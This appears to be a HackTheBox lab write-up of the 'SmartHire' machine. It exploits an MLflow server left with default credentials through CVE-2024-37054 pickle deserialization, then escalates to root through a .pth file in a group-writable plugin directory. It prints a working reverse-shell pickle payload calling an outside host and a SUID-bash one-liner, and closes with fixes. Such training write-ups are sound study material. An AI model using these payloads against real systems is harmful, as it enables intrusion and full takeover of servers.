The hiring platform screens every applicant with a model. We registered as an applicant, uploaded a resume, and the model hired us a shell.
SmartHire is a medium-difficulty Linux box on HackTheBox, running nginx in front of a self-developed hiring platform on port 80, and OpenSSH 8.9p1 on port 22. The application does what hiring platforms do: you register, you upload training data (candidate CSVs), and you run resume scoring against a model the platform stores somewhere behind the scenes.
That “somewhere” is the interesting bit. The scoring path depends on an MLflow instance exposed on a subdomain that the port scan doesn’t show you — models.smarthire.htb — protected by HTTP Basic Auth with default credentials. The same MLflow model that scores applicants is an MLflow PyFunc model, which means when the app loads it for prediction it deserializes python_model.pkl with cloudpickle. That is the seam. Under the right conditions, a model file is not a model file; it’s a pickle, and a pickle is an instruction to run whatever you put in it.
The privilege escalation from the resulting svcweb shell is a Python site-directory poisoning bug. A root-owned helper script for managing the MLflow service is sudo-executable by the web user, and it initializes its plugin directories the wrong way — site.addsitedir() on a path the low-privileged user’s group can write to. A .pth file dropped into that directory is processed at import time, not at import call time, and runs as root. The hiring platform’s own management tooling hands us root once we’re inside.
The chain isn’t a stack of independent vulnerabilities. It’s a hiring pipeline where every step hands the next step its input: register ➜ fuzz the subdomain ➜ authenticate to MLflow with defaults ➜ create a model the app can score ➜ replace the model’s pickle artifact through the artifact API ➜ trigger scoring ➜ shell as svcweb ➜ read the sudo entry ➜ review the plugin loader ➜ write a .pth ➜ sudo the script ➜ root.
TL;DR
The Application. Port scan surfaces SSH and nginx only. The hiring platform takes open registrations. A subdomain fuzz returns models.smarthire.htb answering 401 with WWW-Authenticate: Basic realm="mlflow" — MLflow, sitting behind its own credential space.
Getting Hired. admin:password opens MLflow 2.14.1. Uploading a training CSV registers a model in the registry; scoring a resume CSV reloads it. That reload calls cloudpickle.load() on python_model.pkl — CVE-2024-37054. The artifact API exposes a PUT endpoint authenticated by the MLflow admin credential. We overwrite the live python_model.pkl with a malicious pickle, trigger scoring again, shell as svcweb.
The Promotion. svcweb can sudo python3.10 /opt/tools/mlflow_ctl/mlflowctl.py * as root with no password. The script walks its plugin subdirectories with site.addsitedir(), which processes .pth files immediately at setup time before any action is dispatched. One plugin subdirectory is writable by group devs, which svcweb belongs to. One .pth line, one sudo trigger, SUID bash dropped as root.
The Application
The Applicant Desk
The port scan is short. Only two services answer:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 41:3c:e3:bb:88:70:99:7f:b8:96:59:48:9b:85:98:69 (ECDSA)
| 256 d5:9d:fd:6b:be:d8:39:6f:3f:43:ab:0e:f6:3e:22:db (ED25519)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://smarthire.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
SSH is the later pivot. Port 80 is the first attack surface. Add the box to the hosts file:
➜ echo '10.129.245.215 smarthire.htb' | sudo tee -a /etc/hosts
The application is a self-developed hiring intelligence platform. It lets us register, and after logging in the workspace has two upload points: one for training CSVs and one for resume CSVs. Both are visible from the logged-in view.
Before touching either upload, we expand the battlefield. Fuzzing subdomains against the main host turns up one that isn’t on the port scan:
➜ ffuf -u 'http://smarthire.htb' \
-H 'Host: FUZZ.smarthire.htb' \
-w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt \
-ac -mc all -t 100
...[snip]...
models [Status: 401, Size: 137, Words: 11, Lines: 1, Duration: 198ms]
# update the hosts file
➜ echo '10.129.245.215 smarthire.htb models.smarthire.htb' | sudo tee -a /etc/hosts
models.smarthire.htb returns a 401. That’s not a 404 hiding behind a rewrite — it’s an authentication wall. A quick curl confirms what sits behind it:
➜ curl -v http://models.smarthire.htb
< HTTP/1.1 401 UNAUTHORIZED
< WWW-Authenticate: Basic realm="mlflow"
Basic realm="mlflow" means the protected service is MLflow — an open source platform for tracking ML experiments and storing model artifacts — and it’s protected by HTTP Basic Auth, not the app’s own session. That distinction matters: Basic Auth is a separate credential space from the hiring app’s user accounts.
Getting Hired
Default Credentials and the Model Registry
Registering on the hiring platform is open to anyone:
➜ sh_user="secretmyth"
➜ sh_pass="SecretMyth123!"
➜ curl -s -c cookies.txt -b cookies.txt \
-X POST http://smarthire.htb/register \
-d "username=$sh_user&company=HTB&password=$sh_pass" \
-H "Content-Type: application/x-www-form-urlencoded" \
-L -o /dev/null -w "Registration: %{http_code}\n"
Registration: 200
The MLflow subdomain uses its own credential space — the hiring app’s session cookie doesn’t carry over. Testing the registered account against the Basic Auth wall fails immediately.
➜ curl -s -c cookies.txt -b cookies.txt \
-X POST http://smarthire.htb/login \
-d "username=$sh_user&password=$sh_pass" \
-H "Content-Type: application/x-www-form-urlencoded" \
-L -o /dev/null -w "Login: %{http_code}\n"
Login: 405
MLflow’s built-in HTTP auth defaults to admin:password, and on this box it’s still live:
➜ curl -s -u 'admin:password' -o /dev/null -w "%{http_code}" http://models.smarthire.htb/
200
The admin panel shows the MLflow version: 2.14.1. Old enough for a CVE search, old enough that the pyfunc model load chain is a known RCE primitive.
The Model That Deserializes (CVE-2024-37054)
The hiring app’s two upload flows tell us how the model is used. The training upload expects full candidate records:
name,skills,experience,education,position_applied,previous_company
Alice Wong,"Python, SQL, Pandas",48,Bachelor's in CS,Data Analyst,BlueMetrics
The resume scoring upload expects only inference fields:
experience,skills
60,"Python, Machine Learning, SQL"
That split — full records in, partial records out, a score produced — tells us the scoring flow loads an existing model and runs inference against it. The model is stored in MLflow. If the app loads that model for every resume it scores, and the model is a PyFunc model, then the model file is deserialized on every scoring run.
MLflow’s pyfunc flavor stores models with a python_model.pkl artifact. The relevant load chain in MLflow v2.14.1 runs through cloudpickle:
# mlflow/pyfunc/model.py — the dangerous load path
python_model_subpath = pyfunc_config.get(CONFIG_KEY_PYTHON_MODEL, None)
with open(os.path.join(model_path, python_model_subpath), "rb") as f:
python_model = cloudpickle.load(f) # [!] pickle deser entry
python_model.load_context(context=context)
The chain from a resume upload to code execution:
[+] Resume scoring
│
├─► MLflow loads registered model
│
├─► Artifact directory is fetched
│
├─► MLmodel is parsed
│
├─► python_function flavor is selected
│
├─► python_model.pkl is opened
│
├─► cloudpickle.load(...)
│
├─► Attacker-controlled object is deserialized
│
└──► [!] Code execution
CVE-2024-37054 is the public record of exactly this primitive: authenticated RCE via a maliciously uploaded PyFunc model. The condition is “authenticated” — we have that with admin:password.
Background Check
Before poisoning anything, validate the workflow with clean demo data:
# create_csv.py
import csv
train_rows = [
{"name": "Alice Wong", "skills": "Python, SQL, Pandas", "experience": 48,
"education": "Bachelor's in CS", "position_applied": "Data Analyst", "previous_company": "BlueMetrics"},
{"name": "Brian Lee", "skills": "JavaScript, React, Node.js", "experience": 30,
"education": "Bachelor's in SE", "position_applied": "Frontend Developer", "previous_company": "PixelForge"},
]
resume_rows = [
{"experience": 60, "skills": "Python, Machine Learning, SQL"},
]
with open("train.csv", "w", newline="", encoding="utf-8") as f:
writer = csv.DictWriter(f, fieldnames=[
"name","skills","experience","education","position_applied","previous_company"])
writer.writeheader()
writer.writerows(train_rows)
with open("resume.csv", "w", newline="", encoding="utf-8") as f:
writer = csv.DictWriter(f, fieldnames=["experience","skills"])
writer.writeheader()
writer.writerows(resume_rows)
➜ python3 create_csv.py
➜ head resume.csv train.csv
==> resume.csv <==
experience,skills
60,"Python, Machine Learning, SQL"
==> train.csv <==
name,skills,experience,education,position_applied,previous_company
Alice Wong,"Python, SQL, Pandas",48,Bachelor's in CS,Data Analyst,BlueMetrics
Brian Lee,"JavaScript, React, Node.js",30,Bachelor's in SE,Frontend Developer,PixelForge
Upload the training data:
➜ curl -s -b cookies.txt -X POST http://smarthire.htb/upload_hiring_data \
-F "file=@train.csv"
{"message":"Model trained and registered successfully","model_deleted":false,
"model_info":{"creation_timestamp":1779029471198,"description":"No description","version":"1"},
"registered_model":"HTB-2c9a8cf5c8eb-model","status":"success"}
Then the resume for scoring:
➜ curl -s -b cookies.txt -X POST http://smarthire.htb/predict \
-F "file=@resume.csv"
{"model_info":{"creation_timestamp":1779029471198,"description":"No description","version":"1"},
"prediction":[100],"status":"success"}
The scoring flow works. On the MLflow admin side, that model now lives in the registry with a source field pointing at its backing artifact directory:
mlflow-artifacts:/0/d43f5e82b3954a64b2e7414ed7f2b829/artifacts/model
Decoded:
mlflow-artifacts: / 0 / d43f5e82b3954a64b2e7414ed7f2b829 / artifacts / model
| | |
| | +--> model directory
| |
| +--> run_id backing this model version
|
+--> experiment_id
The run_id is the key. The artifact URI resolves onto /api/2.0/mlflow-artifacts/artifacts in the server’s artifact repo, and the PUT handler on that route writes directly into the artifact directory — meaning if we can authenticate as the MLflow admin, we can overwrite whatever is in there.
Poisoning the Artifact
Pull the run_id directly from the registry API:
➜ curl -s -u 'admin:password' http://models.smarthire.htb/api/2.0/mlflow/runs/search \
-H "Content-Type: application/json" \
-d '{"experiment_ids": ["0"]}' | jq -r '.runs[0].info.run_id'
d43f5e82b3954a64b2e7414ed7f2b829
➜ export run_id='d43f5e82b3954a64b2e7414ed7f2b829'
Generate the malicious pickle:
# create_pkl.py
import pickle
import os
IP = '10.10.16.56'
PORT = 9294
class Shell:
def __reduce__(self):
return (os.system, (f'bash -c "bash -i >& /dev/tcp/{IP}/{PORT} 0>&1"',))
with open("python_model.pkl", "wb") as f:
pickle.dump(Shell(), f)
➜ python3 create_pkl.py
➜ xxd python_model.pkl
00000000: 80 02 63 70 6f 73 69 78 0a 73 79 73 74 65 6d 0a ..cposix.system.
00000010: 71 00 58 33 00 00 00 62 61 73 68 20 2d 63 20 22 q.X3...bash -c "
00000020: 62 61 73 68 20 2d 69 20 3e 26 20 2f 64 65 76 2f bash -i >& /dev/
00000030: 74 63 70 2f 31 30 2e 31 30 2e 31 36 2e 35 36 2f tcp/10.10.16.56/
00000040: 39 32 39 34 20 30 3e 26 31 22 71 01 85 71 02 52 9294 0>&1"q..q.R
00000050: 71 03 2e q..
Overwrite the live artifact through the API:
➜ curl -s -u 'admin:password' -X PUT \
"http://models.smarthire.htb/api/2.0/mlflow-artifacts/artifacts/0/$run_id/artifacts/model/python_model.pkl" \
--data-binary @python_model.pkl \
-H "Content-Type: application/octet-stream"
{}
Empty JSON response is the success case. The model directory on disk now contains our python_model.pkl instead of the legitimate one.
First Day on the Job
Start the listener, refresh the session, trigger the reload:
➜ penelope -p 9294
➜ curl -s -c cookies.txt -b cookies.txt \
-X POST http://smarthire.htb/login \
-d "username=$sh_user&password=$sh_pass" \
-H "Content-Type: application/x-www-form-urlencoded" \
-L -o /dev/null
➜ curl -i -b cookies.txt -X POST http://smarthire.htb/predict \
-F "file=@resume.csv"
The listener catches the reverse shell as svcweb:
svcweb@smarthire:/var/www/smarthire.htb$ whoami && id
svcweb
uid=1000(svcweb) gid=1000(svcweb) groups=1000(svcweb),1001(mlflowweb),1002(devs)
The model that scores applicants just hired us a shell. User flag captured from the svcweb home directory.
The Promotion
The Manager’s Helper Script
Inside the shell, the sudo rule is the next thing worth reading:
svcweb@smarthire:~$ sudo -l
Matching Defaults entries for svcweb on smarthire:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User svcweb may run the following commands on smarthire:
(root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
svcweb@smarthire:~$ ls -la /opt/tools/mlflow_ctl/mlflowctl.py
-rwxr-xr-- 1 root root 1080 Feb 19 18:16 /opt/tools/mlflow_ctl/mlflowctl.py
A root-owned Python entrypoint, sudo-executable by the web user with arbitrary arguments. The script is a plugin loader for managing the MLflow service:
#!/usr/bin/env python3
"""
MLFLOW-CTL: Operational interface for managing the MLflow service.
Supports a pluggable extension model for environment-specific logic.
For changes or plugin requests, please contact the Platform Team.
"""
from pathlib import Path
import sys
import site
BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"
# make plugins importable
for path in PLUGINS_DIR.iterdir():
if path.is_dir():
site.addsitedir(str(path)) # [!]
def print_usage():
print("Usage: mlflowctl.py [status|backup-models|restart]")
sys.exit(1)
def main():
import mlflow_actions, backup_models
if len(sys.argv) < 2:
print_usage()
action = sys.argv[1]
if action == "status":
mlflow_actions.check_status()
elif action == "backup-models":
print("[*] Running backup via backup_models plugin...")
backup_models.run()
elif action == "restart":
mlflow_actions.restart()
else:
print(f"[!] Unknown action: {action}")
print_usage()
if __name__ == "__main__": main()
The dangerous line is site.addsitedir() in the plugin initialization loop. The script isn’t just telling Python where to look for modules — it’s treating each plugin subdirectory as a Python site directory, with everything that implies.
A Cover Letter That Runs as Root
site.addsitedir() does two things: it adds the directory to sys.path, and it processes any .pth files found there. Lines beginning with import in a .pth file are executed during that processing — immediately at setup time, before main() dispatches anything.
That means if any plugin subdirectory is writable by svcweb, we can drop a .pth file into it and have it run as root the moment the script starts.
svcweb@smarthire:~$ id
uid=1000(svcweb) gid=1000(svcweb) groups=1000(svcweb),1001(mlflowweb),1002(devs)
svcweb@smarthire:~$ ls -ld /opt/tools/mlflow_ctl/plugins /opt/tools/mlflow_ctl/plugins/*
drwxr-xr-x 4 root root 4096 Feb 19 18:10 /opt/tools/mlflow_ctl/plugins
drwxr-xr-x 3 root root 4096 Feb 20 09:26 /opt/tools/mlflow_ctl/plugins/core
drwxrwxr-x 2 root devs 4096 May 12 15:22 /opt/tools/mlflow_ctl/plugins/dev
svcweb@smarthire:~$ ls -lah /opt/tools/mlflow_ctl/plugins/dev
total 8.0K
drwxrwxr-x 2 root devs 4.0K May 12 15:22 .
drwxr-xr-x 4 root root 4.0K Feb 22 18:10 ..
plugins/dev/ is owned by group devs, and svcweb is in devs. The directory is writable and it’s passed to site.addsitedir() by the loader.
svcweb@smarthire:~$ echo "import os; os.system('install -o root -m 4755 /bin/bash /tmp/pwn')" \
| tee /opt/tools/mlflow_ctl/plugins/dev/pwn.pth
import os; os.system('install -o root -m 4755 /bin/bash /tmp/pwn')
svcweb@smarthire:~$ sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
[*] Checking MLflow service status...
[+] MLflow service status: active
[+] MLflow container status: 'Up 18 hours'
svcweb@smarthire:~$ ls -la /tmp/pwn
-rwsr-xr-x 1 root root 1396520 May 17 14:01 /tmp/pwn
svcweb@smarthire:~$ /tmp/pwn -p
pwn-5.1# whoami && id
root
uid=1000(svcweb) gid=1000(svcweb) euid=0(root) groups=1000(svcweb),1001(mlflowweb),1002(devs)
Root flag captured from /root/root.txt.
Closing Notes
SmartHire is a study in interconnected trust boundaries. The application didn’t fail because of a complex memory corruption flaw — it failed because it implicitly trusted the integrity of the models stored in its internal registry. By leaving the MLflow subdomain exposed with default credentials, the infrastructure allowed direct interaction with the artifact REST API. We didn’t need to break the model’s logic; we swapped the backing file out from under it, turning a standard scoring workflow into an execution sink via cloudpickle.
The privilege escalation is the true engineering highlight of the box. The difference between sys.path.append() and site.addsitedir() is subtle but catastrophic in practice: a passive path update merely tells Python where to look for modules later, but treating a directory as a site directory means Python actively evaluates its .pth files immediately. Because the devs group had write access to a plugin subdirectory, dropping a single text file handed over root execution before mlflowctl.py even finished parsing its arguments.
The fixes aren’t about patching a single CVE. CVE-2024-37054 is the headline, but the root path has nothing to do with MLflow’s version — it’s a local script initializing plugins the wrong way, on a directory the web user’s group can write to. The MLflow admin credential shouldn’t be the default, the artifact API should be scoped to the role that actually manages models, and site.addsitedir() should not be pointed at any directory a non-root identity can write to.